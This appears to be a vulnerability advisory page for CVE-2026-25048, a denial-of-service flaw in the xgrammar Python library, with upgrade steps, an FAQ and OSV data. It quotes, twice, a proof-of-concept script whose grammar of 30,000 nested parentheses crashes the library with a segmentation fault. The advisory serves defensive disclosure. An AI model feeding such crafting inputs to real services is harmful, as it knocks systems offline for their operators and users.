CVE-2026-25048: Xgrammar Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-7rgv-gqhr-fxg3
CWE-674
Published
Advisory Summary

CVE-2026-25048 is a HIGH denial of service vulnerability (CWE-674: Uncontrolled Recursion) affecting Xgrammar libraries in the PyPI ecosystem. The issue involves xgrammar vulnerable to dos via multi-layer nesting. Remediation is available by upgrading affected packages to version 0.1.32.

CVE-2026-25048 at a Glance

CVE Identifier CVE-2026-25048
GHSA Identifier GHSA-7rgv-gqhr-fxg3
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-674: Uncontrolled Recursion
Affected Product Xgrammar
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-25048

To remediate this vulnerability, upgrade all affected Xgrammar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

xgrammar fixed: 0.1.32
pip install xgrammar>=0.1.32
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show xgrammar

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-25048, inspect your installed packages using pip:

pip show xgrammar

Analyze the terminal output to locate any version of Xgrammar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.32), your application is affected.

Note: The pip show xgrammar command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-674: Uncontrolled Recursion, where the product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack. In Xgrammar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The multi-level nested syntax caused a segmentation fault (core dump). ### Details A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses. ### PoC ``` #!/usr/bin/env python3 """ XGrammar - Math Expression Generation Example """ import xgrammar as xgr import torch from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig s = '(' * 30000 + 'a' grammar = f"root ::= {s}" def main(): device = "cuda" if torch.cuda.is_available() else "cpu" model_name = "Qwen/Qwen2.5-0.5B-Instruct" # Load model model = AutoModelForCausalLM.from_pretrained( model_name, torch_dtype=torch.float16 if device == "cuda" else torch.float32, device_map=device ) tokenizer = AutoTokenizer.from_pretrained(model_name) config = AutoConfig.from_pretrained(model_name) # Math expression grammar math_grammar = grammar # Setup tokenizer_info = xgr.TokenizerInfo.from_huggingface( tokenizer, vocab_size=config.vocab_size ) compiler = xgr.GrammarCompiler(tokenizer_info) compiled_grammar = compiler.compile_grammar(math_grammar) # Generate prompt = "Math: " inputs = tokenizer(prompt, return_tensors="pt").to(device) xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar) output_ids = model.generate( **inputs, max_new_tokens=50, logits_processor=[xgr_processor] ) result = tokenizer.decode( output_ids[0][len(inputs.input_ids[0]):], skip_special_tokens=True ) print(f"Generated expression: {result}") if __name__ == "__main__": main() ``` ``` > pip show xgrammar Name: xgrammar Version: 0.1.31 Summary: Efficient, Flexible and Portable Structured Generation Home-page: Author: MLC Team Author-email: License: Apache 2.0 Location: /home/yuelinwang/.local/lib/python3.10/site-packages Requires: numpy, pydantic, torch, transformers, triton, typing-extensions Required-by: > python3 1.py `torch_dtype` is deprecated! Use `dtype` instead! Segmentation fault (core dumped) ``` ### Impact DoS

CVE-2026-25048 Affected Xgrammar Versions

1 component(s)
Fixed Versions:
0.1.32
Product / Package Ecosystem Affected Versions Fixed Version
xgrammar
PyPI
< 0.1.32
0.1.32

References

Frequently Asked Questions

What is CVE-2026-25048?
CVE-2026-25048 is a security vulnerability in Xgrammar involving xgrammar vulnerable to DoS via multi-layer nesting under CWE-674: Uncontrolled Recursion.
Which Xgrammar versions are affected?
Affected versions include releases prior to 0.1.32 across affected packages: xgrammar.
What version fixes CVE-2026-25048?
Upgrading to 0.1.32 (or the latest patched release for your respective branch) resolves the vulnerability.
Is xgrammar affected?
Yes, xgrammar is affected in releases prior to 0.1.32. Upgrade your dependency to 0.1.32 or later.
What CWE is associated with CVE-2026-25048?
CVE-2026-25048 is classified under CWE-674: Uncontrolled Recursion (The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.).
How can I check PyPI dependencies for CVE-2026-25048?
Run the dependency tree command: 'pip show xgrammar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7rgv-gqhr-fxg3",
  "modified" : "2026-03-05T20:42:15Z",
  "published" : "2026-03-05T18:20:08Z",
  "aliases" : [ "CVE-2026-25048" ],
  "summary" : "xgrammar vulnerable to DoS via multi-layer nesting",
  "details" : "### Summary\n\nThe multi-level nested syntax caused a segmentation fault (core dump).\n\n\n### Details\n\nA trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"\nXGrammar - Math Expression Generation Example\n\"\"\"\n\nimport xgrammar as xgr\nimport torch\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig\n\ns = '(' * 30000 + 'a'\ngrammar = f\"root ::= {s}\"\n\ndef main():\n    device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n    model_name = \"Qwen/Qwen2.5-0.5B-Instruct\"\n    \n    # Load model\n    model = AutoModelForCausalLM.from_pretrained(\n        model_name,\n        torch_dtype=torch.float16 if device == \"cuda\" else torch.float32,\n        device_map=device\n    )\n    tokenizer = AutoTokenizer.from_pretrained(model_name)\n    config = AutoConfig.from_pretrained(model_name)\n    \n    # Math expression grammar\n    math_grammar = grammar\n    \n    # Setup\n    tokenizer_info = xgr.TokenizerInfo.from_huggingface(\n        tokenizer,\n        vocab_size=config.vocab_size\n    )\n    compiler = xgr.GrammarCompiler(tokenizer_info)\n    compiled_grammar = compiler.compile_grammar(math_grammar)\n    \n    # Generate\n    prompt = \"Math: \"\n    inputs = tokenizer(prompt, return_tensors=\"pt\").to(device)\n    \n    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)\n    \n    output_ids = model.generate(\n        **inputs,\n        max_new_tokens=50,\n        logits_processor=[xgr_processor]\n    )\n    \n    result = tokenizer.decode(\n        output_ids[0][len(inputs.input_ids[0]):],\n        skip_special_tokens=True\n    )\n    \n    print(f\"Generated expression: {result}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\n\n```\n> pip show xgrammar\nName: xgrammar\nVersion: 0.1.31\nSummary: Efficient, Flexible and Portable Structured Generation\nHome-page: \nAuthor: MLC Team\nAuthor-email: \nLicense: Apache 2.0\nLocation: /home/yuelinwang/.local/lib/python3.10/site-packages\nRequires: numpy, pydantic, torch, transformers, triton, typing-extensions\nRequired-by: \n\n> python3 1.py \n`torch_dtype` is deprecated! Use `dtype` instead!\nSegmentation fault (core dumped)\n```\n\n\n### Impact\n\nDoS",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "xgrammar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.32"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.1.31"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25048"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mlc-ai/xgrammar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-674" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-05T18:20:08Z",
    "nvd_published_at" : "2026-03-05T16:16:15Z"
  }
}